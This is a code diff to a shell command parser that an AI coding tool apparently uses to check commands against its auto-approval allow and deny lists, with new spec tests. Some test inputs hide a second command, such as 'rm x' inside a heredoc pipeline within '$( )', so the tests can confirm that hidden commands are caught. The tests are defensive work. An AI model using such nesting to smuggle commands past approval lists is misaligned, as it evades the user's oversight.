+				// The tokenizer reduces a glob word to `{ op: "glob" }` and
+				// keeps the pattern only on `pattern`, which this
+				// reconstruction drops. The re-scanned payload would then
+				// carry the bare word `glob` — a word that matches allow and
+				// deny prefixes no more specifically than the files bash may
+				// expand the pattern to, and possibly to denylisted binaries.
+				// That under-approximation cannot carry an approval, so the
+				// payload fails closed on the shared error channel.
+				outcome.error = {
+					quoteType: "payload-glob",
+					openIndex: 0,
+					// The excerpt quotes the command back to the user, so expand
+					// the placeholders first: the raw masked text would expose
+					// the placeholder sentinel and internal names in a message
+					// the model also reads.
+					message: unterminatedQuoteMessage("payload-glob", 0, expandPlaceholders(line, outcome)),
 				}
+				return []
 			} else {
-				// Other operators (>) are part of the command
-				currentCommand.push(token.op)
-			}
-		} else if (typeof token === "string") {
-			// Check if it's a subshell placeholder
-			const subshellMatch = token.match(/__SUBSH_(\d+)__/)
-			if (subshellMatch) {
-				if (currentCommand.length > 0) {
-					commands.push(currentCommand.join(" "))
-					currentCommand = []
-				}
-				commands.push(subshells[parseInt(subshellMatch[1])])
-			} else {
-				currentCommand.push(token)
+				// Other operators (>, <) are part of the command word.
+				current.push(token.op)
 			}
+			continue
+		}
+		if (typeof token !== "string") {
+			continue
+		}
+		if (!token.includes(NUL)) {
+			current.push(token)
+			continue
+		}
+		// This word carries placeholders. Reconstruct the non-substitution
+		// placeholders for verbatim restoration. Treat substitution
+		// placeholders as segment boundaries.
+		const parts = token.split(NUL)
+		let buf = ""
+		for (let p = 0; p < parts.length; p++) {
+			const part = parts[p]
+			if (p % 2 === 0) {
+				buf += part
+				continue
+			}
+			const index = Number(part.slice(1))
+			if (part[0] === "S") {
+				if (buf) {
+					current.push(buf)
+					buf = ""
+				}
+				flush()
+				commands.push(...scanPayloadSegments(outcome.substitutions[index] ?? "", outcome, depth + 1))
+				continue
+			}
+			if (part[0] === "P") {
+				pendingPayloads.push(...(outcome.paramPayloads[index] ?? []))
+			}
+			if (part[0] === "H") {
+				pendingPayloads.push(...(outcome.heredocPayloads[index] ?? []))
+			}
+			if (part[0] === "A") {
+				pendingPayloads.push(...(outcome.arithmeticPayloads[index] ?? []))
+			}
+			buf += `${NUL}${part}${NUL}`
+		}
+		if (buf) {
+			current.push(buf)
 		}
 	}
+	flush()
 
-	// Add any remaining command
-	if (currentCommand.length > 0) {
-		commands.push(currentCommand.join(" "))
-	}
-
-	// Restore all placeholders
-	return commands.map((cmd) =>
-		restorePlaceholders(
-			cmd,
-			quotes,
-			singleQuotes,
-			redirections,
-			arithmeticExpressions,
-			parameterExpansions,
-			variables,
-			subshells,
-		),
-	)
+	return commands
 }
 
 /**
- * Helper function to restore placeholders in a command string.
+ * Re-scan an extracted substitution payload through the same scan and
+ * tokenize path, so nested substitutions become independent segments. The scan
+ * records structural errors on `outcome`, and the outer command then fails
+ * closed. Each re-entry increments `depth`. Past `MAX_PAYLOAD_SCAN_DEPTH`, the
+ * command fails closed as `nesting-too-deep`. It does not re-scan generated
+ * nesting until the call stack overflows.
  */
-function restorePlaceholders(
-	command: string,
-	quotes: string[],
-	singleQuotes: string[],
-	redirections: string[],
-	arithmeticExpressions: string[],
-	parameterExpansions: string[],
-	variables: string[],
-	subshells: string[],
-): string {
-	let result = command
-	// Restore double-quoted strings
-	result = result.replace(/__QUOTE_(\d+)__/g, (_, i) => quotes[parseInt(i)])
-	// Restore single-quoted strings
-	result = result.replace(/__SQUOTE_(\d+)__/g, (_, i) => singleQuotes[parseInt(i)])
-	// Restore redirections
-	result = result.replace(/__REDIR_(\d+)__/g, (_, i) => redirections[parseInt(i)])
-	// Restore arithmetic expressions
-	result = result.replace(/__ARITH_(\d+)__/g, (_, i) => arithmeticExpressions[parseInt(i)])
-	// Restore parameter expansions
-	result = result.replace(/__PARAM_(\d+)__/g, (_, i) => parameterExpansions[parseInt(i)])
-	// Restore variable references
-	result = result.replace(/__VAR_(\d+)__/g, (_, i) => variables[parseInt(i)])
-	result = result.replace(/__SUBSH_(\d+)__/g, (_, i) => subshells[parseInt(i)])
-	return result
+function scanPayloadSegments(raw: string, outcome: ScanOutcome, depth: number): string[] {
+	if (!raw.trim()) {
+		return []
+	}
+	if (depth > MAX_PAYLOAD_SCAN_DEPTH) {
+		outcome.error = {
+			quoteType: "nesting-too-deep",
+			openIndex: 0,
+			message: unterminatedQuoteMessage("nesting-too-deep", 0, raw),
+		}
+		return []
+	}
+	const nested = scanShellSyntax(raw)
+	if (nested.error !== null) {
+		outcome.error = nested.error
+		return []
+	}
+	const parts: string[] = []
+	for (const line of nested.host.split(/\r\n|\r|\n/)) {
+		if (!line.trim()) {
+			continue
+		}
+		parts.push(...parseLine(line, nested, depth, true))
+		if (nested.error !== null) {
+			outcome.error = nested.error
+			return []
+		}
+	}
+	return parts
 }
diff --git a/webview-ui/src/utils/__tests__/command-parser.spec.ts b/webview-ui/src/utils/__tests__/command-parser.spec.ts
index 0316e2b328..8f315fae9b 100644
--- a/webview-ui/src/utils/__tests__/command-parser.spec.ts
+++ b/webview-ui/src/utils/__tests__/command-parser.spec.ts
@@ -52,8 +52,13 @@ describe("extractPatternsFromCommand", () => {
 	})
 
 	it("should handle null/undefined", () => {
-		expect(extractPatternsFromCommand(null as any)).toEqual([])
-		expect(extractPatternsFromCommand(undefined as any)).toEqual([])
+		// These calls pin the runtime guard `command?.trim()` in
+		// extractPatternsFromCommand. `asString` is a deliberate type lie:
+		// its `as string` routes values the signature forbids past the
+		// compiler, so the guard, not the type checker, handles them.
+		const asString = (value: unknown): string => value as string
+		expect(extractPatternsFromCommand(asString(null))).toEqual([])
+		expect(extractPatternsFromCommand(asString(undefined))).toEqual([])
 	})
 
 	it("should handle scripts", () => {
@@ -174,5 +179,38 @@ describe("extractPatternsFromCommand", () => {
 			expect(patterns).not.toContain("EOF")
 			expect(patterns).not.toContain("hello")
 		})
+
+		it("extracts split segments from a heredoc pipeline inside a substitution", () => {
+			// The parser splits this input into single-line segments: the
+			// heredoc token, `echo`, and `rm x`. The extractor takes its
+			// full-token path for single-line segments, so the pipeline's
+			// right-hand `rm` surfaces instead of hiding inside one opaque
+			// multi-line token.
+			const input = "echo $(cat <<E | rm x\nhi\nE\n)"
+			const patterns = extractPatternsFromCommand(input)
+			expect(patterns).toEqual(["cat", "echo", "rm", "rm x"])
+		})
+	})
+
+	it("should extract patterns from a command substitution segment", () => {
+		const patterns = extractPatternsFromCommand("echo $(whoami)")
+		expect(patterns).toContain("echo")
+		expect(patterns).toContain("whoami")
+	})
+
+	it("should extract only the leading command from an unclosed command substitution", () => {
+		// The parser fails closed here. It cannot close the $( … ) it opened,
+		// so it keeps the whole input as one opaque token. Nothing inside the
+		// malformed expansion can then surface as a pattern the lists approve.
+		const patterns = extractPatternsFromCommand("echo $(date\nfoo")
+		expect(patterns).toEqual(["echo"])
+		expect(patterns).not.toContain("date")
+		expect(patterns).not.toContain("foo")
+	})
+
+	it("should extract patterns from a process substitution segment", () => {
+		const patterns = extractPatternsFromCommand("diff <(sort a)")
+		expect(patterns).toContain("diff")
+		expect(patterns).toContain("sort")
 	})
 })